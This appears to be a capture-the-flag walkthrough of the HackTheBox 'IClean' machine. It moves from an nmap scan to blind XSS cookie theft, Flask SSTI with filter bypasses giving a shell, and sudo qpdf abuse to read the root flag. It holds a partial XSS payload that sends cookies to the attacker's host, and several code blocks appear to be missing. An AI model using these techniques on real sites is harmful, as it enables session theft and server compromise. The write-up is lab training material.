IClean is a medium-difficlty linux machine on HackTheBox, where we have an initial XSS foothold to be able to access a dashboard where we will be able to abuse an SSTI vulnerability to get a shell over the system, later exploiting sudo access to qpdf to acquire the root flag to a self-made pdf, therefore rooting the system.
Nmap scan report for10.129.54.126 Host is up (1.9s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2562cf90777e3f13a36dbf23b94e3b7cfb2 (ECDSA) |_ 2564a919ff274c04181524df1ff2d01786b (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.52 (Ubuntu) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.93%E=4%D=7/31%OT=22%CT=1%CU=39143%PV=Y%DS=2%DC=T%G=Y%TM=66A9FC1 OS:4%P=i686-pc-windows-windows)SEQ(SP=106%GCD=1%ISR=104%TI=Z%CI=Z%TS=B)SEQ( OS:SP=106%GCD=1%ISR=104%TI=Z%CI=Z%II=I%TS=B)SEQ(SP=106%GCD=1%ISR=104%TI=Z%C OS:I=Z%II=I)SEQ(CI=Z%II=I)OPS(O1=M54EST11NW7%O2=M54EST11NW7%O3=M54ENNT11NW7 OS:%O4=M54EST11NW7%O5=M54EST11NW7%O6=M54EST11)WIN(W1=FE88%W2=FE88%W3=FE88%W OS:4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54ENNSNW7%CC=Y%Q=)T1( OS:R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S OS:=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R OS:=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F= OS:AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G% OS:RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 21/tcp) HOP RTT ADDRESS 1 138.00 ms 10.10.16.1 2 296.00 ms 10.129.54.126 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 213.41 seconds
We can see that we have OpenSSH running on port 22, and web application exposed on port 80.
Web application - 10.129.54.126:80
Letβs first add this entry to our /etc/hosts file:
1
10.129.54.126 capiclean.htb
Web App Port 80
This seems like a casual web application built on python.
Wappalyzer tech stack
Web App Port 80
We can confirm that the application is built on the python Flask Framework.
Quote is an endpoint where we can kinda request one of the lister components and enter our email. After submitting our request we can see this message on a new endpoint sendMessage: Quote request
It says that the management team will reach out to me soon. Maybe that means that they will check my quote? Iβm smelling XSS here ππ Checking the requests being made, we can see requests being made to sendMessage:
btoa(document.cookie) is a JavaScript function that converts the userβs cookies (document.cookie) to a Base64-encoded string.
But I am not getting any cookies back, maybe itβs only evaluating the <img/src=x onerror=this.src="http://10.10.x.x part and the rest is being blocked.
So letβs try to URL encode the whole script and see what we get:
Letβs use this cookie to access the /dashboard endpoint which was blocked previously, but first letβs set the cookie in the storage on the / endpoint to become valid all across the application:
Session setup
We now have access the to the /dashboard endpoint:
And we get a callback!! We have SSTI. Letβs dig deeper then: SSTI
Trying such payloads will only result in internal server error. I found this article talking about some bypassing techniques. βThere is a writing method that can be used during template injection, but normal Python syntax is not supported.β βDuring the template injection process, the following two writing methods are equivalent.β
SSTI
"\x5f" is the character "_", and "\x2E" is the character ".".
I just went through this using VSCode and and organized the subclasses to know which ones I need. I identified the subprocessPopen subclass to be of order 365 SSTI
We can now check what consuela can execute as sudo:
1 2 3 4 5 6 7 8
consuela@iclean:~$ sudo -l [sudo] password for consuela: Matching Defaults entries for consuela on iclean: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User consuela may run the following commands on iclean: (ALL) /usr/bin/qpdf
We can see that we can execute /usr/bin/qpdf. QPDF provides many useful capabilities to developers of PDF-producing software or for people who just want to look at the innards of a PDF file to learn more about how they work
By abusing this command, we can exploit it to be able to read the root flag: